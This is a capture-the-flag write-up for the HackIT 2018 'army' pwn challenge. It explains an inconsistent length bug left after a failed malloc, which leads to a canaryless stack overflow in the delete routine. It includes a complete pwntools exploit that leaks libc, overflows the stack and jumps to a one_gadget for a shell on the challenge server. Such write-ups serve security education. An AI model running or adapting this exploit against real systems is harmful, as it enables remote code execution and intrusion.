**Description**
> Welcome to the Army. Go get your promotion !!> > `nc 185.168.131.122 6000`
**Files provided**
 - [army](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/army)
**Solution** (by [Mem2019](https://github.com/Mem2019))
The problem is here in `create`
```cv4 = malloc(v5);if ( v4 ){  printf("Enter your description: ", nptr);  v3 = (char *)malloc(v5);  read(0, v3, v5);  v7->descript = v3;  v7->des_len = v5;  g_des_len = v7->des_len;}else{  puts("Malloc error"); // logic problem  //return here}```
If the malloc fails, the `g_des_len` and `v7->des_len` are not updated, so they can have inconsistent value
However, in `delete`
```csigned __int64 delete(){  int v1; // eax  void *v2; // rsp  __int64 v3; // [rsp+0h] [rbp-30h]  int v4; // [rsp+Ch] [rbp-24h]  void *buf; // [rsp+10h] [rbp-20h]  __int64 v6; // [rsp+18h] [rbp-18h]
  if ( !if_created )    return 0LL;  v1 = me->des_len;  v6 = v1 - 1LL;  v2 = alloca(16 * ((v1 + 15LL) / 0x10uLL));    // 8 up  buf = &v3;  printf("Enter your answer : ", v1, (v1 + 15LL) % 0x10uLL, 16LL, v1, 0LL);  v4 = g_des_len;  read(0, buf, g_des_len);  puts("So trolled man, Imma demote you. Now you will be junior to your friends hahahaha so embarrasing.");  free(me->name);  free(me->descript);  //...}```
it uses `me->des_len` to do stack allocation but uses `g_des_len` as the size, so this could cause overflow, and there is no canary.
The way to control `g_des_len` is easy, it's just length of last description
How can we control `me->des_len`? well, the soldier struct will be allocated from 0x30 fastbin, and this will be the previous `me->name` if the length of descript is not 0x30 fastbin, which is contollable.
PS: the `g_des_len` is `char`, but `me->des_len` is `int`; however, this does not seems to be exploitable.
exp:
```pythonfrom pwn import *
g_local=Truecontext.log_level='debug'
ONE_GADGET_OFF = 0x4526aif g_local:	e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")	sh = process('./army')#env={'LD_PRELOAD':'./libc.so.6'}	#gdb.attach(sh)else:	sh = remote("185.168.131.122", 6000)	e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")	#ONE_GADGET_OFF = 0x4557a
def create(descrip, length):	sh.send("1\n")	sh.recvuntil("Enter name: ")	sh.send("1\n".ljust(0x23, "\x00"))	sh.recvuntil("Enter height: ")	sh.send("1\n")	sh.recvuntil("Enter weight: ")	sh.send("1\n")	sh.recvuntil("Enter length of answer: ")	sh.send(str(length) + "\n")	if descrip:		sh.recvuntil("Enter your description: ")		sh.send(descrip)	sh.recvuntil("3. I think I deserve a promotion\n")
def delete(answer):	sh.send("3\x00\x00\x00")	sh.send(answer)	sh.recvuntil("3. I think I deserve a promotion\n")
sh.recvuntil("Beginner's Luck : ")leak = sh.recvuntil("\n")libc_addr = u64(leak[:len(leak)-1] + "\x00\x00") - e.symbols["puts"]print hex(libc_addr)sh.recvuntil("3. I think I deserve a promotion\n")
create("123", 0x7F)delete("111")create(None, -1)sh.send("3\x00\x00\x00" + (cyclic(56) + p64(libc_addr + ONE_GADGET_OFF)).ljust(0x7F, "\x00"))sh.interactive()```